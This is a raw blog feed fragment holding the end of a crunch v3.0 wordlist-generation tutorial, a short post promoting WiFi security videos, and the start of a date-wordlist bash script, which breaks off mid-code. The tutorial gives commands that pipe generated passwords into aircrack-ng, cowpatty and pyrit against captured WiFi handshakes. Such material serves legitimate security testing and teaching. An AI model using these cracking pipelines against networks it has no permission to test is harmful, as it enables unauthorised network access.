/&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Endless variations are possible.&lt;br /&gt;&lt;br /&gt;The possiblities crunch offers to create patterns with such detail give you many options to really fine-tune what you want placed where in your passphrase wordlist and thus reduce the size of your final wordlist. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;&lt;u&gt;ESCAPING / FIXING SPECIAL CHARACTERS FOR USE IN PATTERNS&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;/b&gt;When you start manually defining what to place where with special characters, you will on some occasions need to to 'escape' characters to allow crunch to read them correctly.&lt;br /&gt;&lt;br /&gt;This is the case for for instance an exclamation mark &lt;span style="color: red;"&gt;!&lt;/span&gt; ; &lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -t 12!@&lt;/div&gt;will result in an error.&lt;br /&gt;In order to make it work correctly you must 'escape'&amp;nbsp; the exclamation mark ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -t 12\!@&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_escape.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_escape.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As some special characters are used to define character sets, this can cause some limitations when trying to fix positions of certain special characters. Such as wanting to use &lt;b&gt;@&lt;/b&gt; as a fixed character ;&lt;br /&gt;./crunch 4 4 -t 012@&lt;br /&gt;or&lt;br /&gt;./crunch 4 4 -t 012\@&lt;br /&gt;This will not fix the character '@' but use it to provide lower case alpha values.&lt;br /&gt;&lt;br /&gt;To remedy this to some extent, since crunch v3.0, the new &lt;b style="color: red;"&gt;-l&lt;/b&gt; switch can be used to fix the literal character instead of having it refer to a place holder for a specific character set. &lt;br /&gt;&lt;br /&gt;This would now be accomplished by doing ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -t b@d%%% -l @&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_l_1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_l_1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Other possibilities; &lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 -t P@SS%%%% -l @&lt;/div&gt;&lt;div style="color: lime;"&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 -t P@\$\$,,,, -l @&lt;/div&gt;etc. etc.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 -f charset.lst mixalpha -t pass^^@@ -l ^&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_l_2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_l_2.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Also, more than 1 placeholder character can be fixed as a literal character; &lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 -f charset.lst mixalpha -t pass@,%^ -l %^&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_l_3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_l_3.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Of course this in itself also has limitations as you are not able to to check for all possible lower case alpha&lt;br /&gt;values or passthrough a user defined charset with a fixed setting of the @ character.&lt;br /&gt;The below 2 examples will obviously only return 1 result as all the instances of the @ character will be fixed&lt;br /&gt;as a literal character. &lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 -t p@ss@@@@ -l @&lt;/div&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 -f charset.lst mixalpha-numeric -t p@ss@@@@ -l @&lt;/div&gt;This is an issue that is being looked into and possibly a following update of crunch will have an answer.&lt;br /&gt;&lt;br /&gt;Of course there are workarounds for some part; if for instance you wanted a password list to start with "p@ss"&lt;br /&gt;followed by 4 characters of all possible lower case values, you could create a list of 4 characters;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -o test.txt&lt;/div&gt;&lt;br /&gt;And then use 'sed' or 'awk' to place the word 'p@ss' in front of each line ;&lt;br /&gt;Using sed ;&lt;br /&gt;&lt;div style="color: lime;"&gt;sed 's/^/p\@ss/' test.txt &amp;gt; file1.txt&lt;/div&gt;Using awk ;&lt;br /&gt;&lt;div style="color: lime;"&gt;awk '{print "p@ss" $0}' test.txt &amp;gt; file1.txt&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_l_arnd.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_l_arnd.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So with a bit of imagination and a couple of oneliners with sed or awk, you should still&lt;br /&gt;be able to create more or less what you want. &lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;i&gt;edit 25-05-2011&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;bofh28 has informed me of another workaround which can be used.&lt;br /&gt;&lt;br /&gt;You can override the standard characters per placeholder setting by entering a different type of&lt;br /&gt;charset in a different position and then using the placeholder character for that position. &lt;br /&gt;&lt;br /&gt;Normally the 3rd position is for numeric values, however if you specify lower case values, it will use these&lt;br /&gt;characters, however you then do need to use the place holder for that position, in this example %.&lt;br /&gt;&lt;br /&gt;Confused ? You won't be after this episode of .. ;) &lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;./crunch 8 8 + + abcdefghijklmnopqrstuvwxyz + -t p@ss%%%% -l @&lt;/span&gt; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_l_wrkarnd2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_l_wrkarnd2.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;&lt;u&gt;PIPING CRUNCH TH&lt;/u&gt;&lt;u&gt;ROUGH TO OTHER PROGRAMS&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;br /&gt;&lt;/div&gt;Crunch can be used to pipe passwords through to programs such as aircrack / pyrit / cowpatty etc.&lt;br /&gt;&lt;br /&gt;Considering that crunch is now advising the estimated size of wordlists to be created following the command given as well as the wordcount, to have a seamless integration with piping, it is recommended to use the &lt;b&gt;&lt;span style="color: red;"&gt;-u&lt;/span&gt;&lt;/b&gt; option to supress that information on size, wordcount etc.; &lt;br /&gt;Without using the -u command, it is possible that unexpected errors occur with some programs.&lt;br /&gt;&lt;br /&gt;Using the &lt;b&gt;&lt;span style="color: red;"&gt;-u&lt;/span&gt;&lt;/b&gt; option will result in the creating of the wordlist directly instead of giving the 3 second delay during which the estimated wordlist size and wordcount is shown ;&lt;br /&gt;&lt;br /&gt;In examples only testing for 8 character numeric passwords ;&lt;br /&gt;&lt;u&gt;aircrack&lt;/u&gt;&lt;br /&gt;./crunch 8 8 -t %%%%%%%% -u | aircrack-ng -e SSID -w - /pathto/capfile.cap&lt;br /&gt;&lt;br /&gt;&lt;u&gt;cowpatty&lt;/u&gt; &lt;br /&gt;./crunch 8 8 -t %%%%%%%% -u | cowpatty -f - -r /pathto/capfile.cap -s SSID&lt;br /&gt;&lt;br /&gt;&lt;u&gt;pyrit&lt;/u&gt;&lt;br /&gt;./crunch 8 8 -t %%%%%%%% -u | pyrit -i - -r /pathto/capfile.cap -e ESSID attack_passthrough&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;COMPRESSING OUTPUT FILES&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;Output files can be compressed with crunch using the &lt;b&gt;&lt;span style="color: red;"&gt;-z&lt;/span&gt;&lt;/b&gt; switch.&lt;br /&gt;&lt;br /&gt;Supported formats are;&lt;br /&gt;&amp;gt; gzip&lt;br /&gt;&amp;gt; bzip&lt;br /&gt;&amp;gt; lzma&lt;br /&gt;&lt;br /&gt;Crunch will first create the wordlist and will then compress the wordlist.&lt;br /&gt;Upon the finalisation of the wordlist creation, you will see the 100% being reached&lt;br /&gt;and the 100% denomination will continue to be printed until the compression is complete.&lt;br /&gt;&lt;br /&gt;So if you see a continuous 'stream' of 100%, don't worry, the program is not hanging,&lt;br /&gt;the output file is simply being compressed. &lt;br /&gt;It had me guessing when I was testing a compression of a couple of gigabytes.. but I assure you it is the case.&lt;br /&gt;&lt;br /&gt;The best level of compression and thus the slowest is obtained with lzma.&lt;br /&gt;The quickest compression, with the lowest level of compression, is obtained with gzip.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -f charset.lst lalpha -o test.txt -z gzip&lt;/div&gt;To unzip the created file ;&lt;br /&gt;&lt;span style="color: lime;"&gt;gunzip test.txt.gz &lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_g_gz.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="304" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_g_gz.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -f charset.lst lalpha -o test.txt -z bzip2&lt;/div&gt;To decompress the created file ;&lt;br /&gt;&lt;div style="color: lime;"&gt;bunzip2 test.txt.bz2&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_z_bz.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="304" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_z_bz.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -f charset.lst lalpha -o test.txt -z lzma&lt;/div&gt;To decompress the created file ;&lt;br /&gt;&lt;div style="color: lime;"&gt;unlzma test.txt.lzma&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_z_lz.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="304" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_z_lz.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you managed to come this far, well done, you are a patient / dedicated person :) &lt;br /&gt;Hope it wasn't too boring to go through ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;bofh28 has once again done a fantastic job in reaching the 3.0 milestone and&lt;br /&gt;a little birdy tells me there is yet more to come :D&lt;br /&gt;If and when revisions come out, I will try to keep this post updated to reflect the changes / additions.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Keep up the great work bofh28 !!&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-5327423255546207578?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/5327423255546207578/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2011/05/creating-wordlists-with-crunch-v30.html#comment-form' title='163 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/5327423255546207578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/5327423255546207578'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2011/05/creating-wordlists-with-crunch-v30.html' title='Creating wordlists with crunch v3.0'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>163</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-1646196797199662162</id><published>2011-05-04T16:26:00.001+02:00</published><updated>2011-05-04T16:26:47.321+02:00</updated><title type='text'>Getting to grips with WiFi</title><content type='html'>&lt;b&gt;&lt;u&gt;WIRELESS ONE O ONE &lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is just really a shout-out to the fantastic work that Vivek is doing on his site;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/goog_65282300"&gt;http://www.securitytube.net/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.securitytube.net/"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;He is currently creating a megaprimer on the various uses of the wireless capabilities&lt;br /&gt;and I strongly suggest you take a look at his videos on the subject.&lt;br /&gt;&lt;br /&gt;It now stands at 18 videos (as from today 04-05-2011) and it is a very detailed&lt;br /&gt;look at how things work and what vulnerabilities are out there that you should be&lt;br /&gt;aware of.&lt;br /&gt;&lt;br /&gt;His videos are very clear and detailed and worth your time in checking them out.&lt;br /&gt;&lt;br /&gt;Go for it and learn a lot at ;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.securitytube.net/"&gt;http://www.securitytube.net/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-1646196797199662162?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/1646196797199662162/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2011/05/getting-grip-on-wifi.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/1646196797199662162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/1646196797199662162'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2011/05/getting-grip-on-wifi.html' title='Getting to grips with WiFi'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-863869106910914544</id><published>2011-03-03T21:55:00.034+01:00</published><updated>2011-12-23T12:22:55.773+01:00</updated><title type='text'>Creating wordlists based on dates</title><content type='html'>&lt;div style="color: #6aa84f;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b style="color: #6aa84f;"&gt;wordlists based on dates&lt;/b&gt;&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;======================&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;Update 4&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;23-12-2011&lt;br /&gt;Have now released datelist v0.6&lt;br /&gt;- Not limited to any dates anymore (yay !)&lt;br /&gt;- Much faster&lt;br /&gt;- Included more error checks&lt;br /&gt;- Totally awesome ;)&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: red;"&gt;DOWNLOAD;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.mediafire.com/file/9zhrts9466g3v6i/datelist_v0-6"&gt;&lt;b&gt;http://www.mediafire.com/file/9zhrts9466g3v6i/datelist_v0-6&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist_v0-6.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="390" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist_v0-6.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;b&gt;Update 3 &lt;/b&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;b&gt;02-04-2011 &lt;/b&gt;&lt;/div&gt;&lt;b&gt;==========&lt;br style="color: #cccccc;" /&gt; &lt;/b&gt;&lt;br /&gt;&lt;div style="color: black;"&gt;&lt;span style="color: #cccccc;"&gt;So have completed the work on v0.4, vid &amp;amp; download location herebelow.&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #cccccc;"&gt;Its still slow and limited to 1902 -- 2037 dates, but seems a bit better&amp;nbsp;&lt;/div&gt;&lt;div style="color: #cccccc;"&gt;(to look at at least :) )&amp;nbsp;&lt;/div&gt;&lt;div style="color: #cccccc;"&gt;Until I get to grips with Python or Perl enabling me to massively increase the speed&lt;/div&gt;&lt;div style="color: #eeeeee;"&gt;&lt;div style="color: #cccccc;"&gt;it will probably stay as it is now.&lt;br /&gt;&lt;u&gt;edit 01-05-2010&lt;/u&gt;; &lt;br /&gt;Gitsnik put his mind to it (probably whilst reading the paper on the john, things come easier to him ;) )&lt;br /&gt;and wrote a fantastic bit of perl that does it sooo much faster and without any date limitations, when I manage&lt;br /&gt;to replicate that will put it up as well.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist_v04.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist_v04.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: black;"&gt;&lt;iframe allowfullscreen="" frameborder="0" height="390" src="http://www.youtube.com/embed/q4Oof8BVbmc" title="YouTube video player" width="480"&gt;&lt;/iframe&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="color: black;"&gt;&lt;div style="color: red;"&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #cccccc;"&gt;Or on bliptv ;&lt;/span&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://blip.tv/file/4969508"&gt;http://blip.tv/file/4969508&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Download code &lt;span style="color: lime;"&gt;datelist_v0.4&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;span style="color: black;"&gt;Version 0.4 is superceded by v0.6, so grab the code from the link at the top of the page.&amp;nbsp;&lt;/span&gt; &lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;b&gt;Update 2&lt;/b&gt;&lt;/div&gt;&lt;b style="color: red;"&gt;=======&lt;/b&gt;&lt;br /&gt;Am working on v0.4 to be able to do the same directly from command line, should be less&lt;br /&gt;invasive on the eyes for the command line freaks and hopefully a tad quicker.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist_v0-4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="460" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist_v0-4.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;b&gt;Update 1&lt;/b&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;b&gt;=======&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.mediafire.com/file/f9fd8chsthy4p7d/datelist_v0.3"&gt;http://www.mediafire.com/file/f9fd8chsthy4p7d/datelist_v0.3&lt;/a&gt; &lt;/b&gt;&lt;/div&gt;Put up a quick video on a revision;&amp;nbsp; datelist_v0.3 &lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="390" src="http://www.youtube.com/embed/FEXbxbjh-eU" title="YouTube video player" width="480"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;b&gt;=======&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;I occasionally get queries on how to create certain wordlists with crunch, for which in some cases&lt;br /&gt;crunch is not really suited.&lt;br /&gt;This is the case when dealing with dates for instance.&lt;br /&gt;&lt;br /&gt;I had asked bofh28 (author of crunch) whether he felt that this was something to consider for inclusion&lt;br /&gt;in crunch, however he did not feel this was within the&amp;nbsp; scope of what crunch is intended for and of course&lt;br /&gt;he's right, crunch's scope is meant to create a true bruteforce list.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, after having had a few queries on it, I dabbled a bit in how this could be done.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After quite a bit of brain teasing (I am a slow learner ;) ) I got a date list in the format ddmmyyyy with the following code ;&lt;br /&gt;&amp;gt;copy/paste the below code and save as for instance date-test&lt;br /&gt;&amp;gt;make executable with: &lt;span style="color: lime;"&gt;chmod 755 date-test&lt;/span&gt; to allow to run it; &lt;span style="color: lime;"&gt;./date-test&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;#!/bin/bash -e&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;#Starting and stopping dates&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;echo "Enter the starting date"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;echo "must be in the format yyyy-mm-dd"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;(tput bold &amp;amp;&amp;amp; tput setaf 1)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;read START_DATE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;(tput sgr 0) &lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;echo "Enter the ending date"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;echo "must be in the format yyyy-mm-dd"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;(tput bold &amp;amp;&amp;amp; tput setaf 1)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;read END_DATE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;(tput sgr 0)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;# List all dates in between the chosen dates in the format ddmmyyyy&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;echo $START_DATE | tee r_dates.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;while true&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;do&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;START_DATE=$( date +%Y-%m-%d -d "$START_DATE -d 1day" )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;echo $START_DATE | tee -a r_dates.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;if [ "$START_DATE" == "$END_DATE" ]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;then &lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;awk -F- '{print $3 $2 $1}' r_dates.txt &amp;gt; datelist.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;rm r_dates.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;echo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;(tput setaf 2 &amp;amp;&amp;amp; tput bold)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;echo "wordlist 'datelist.txt' created in the format ;"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;echo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;(tput setaf 6 &amp;amp;&amp;amp; tput bold)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;head -5 datelist.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;(tput sgr 0)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: 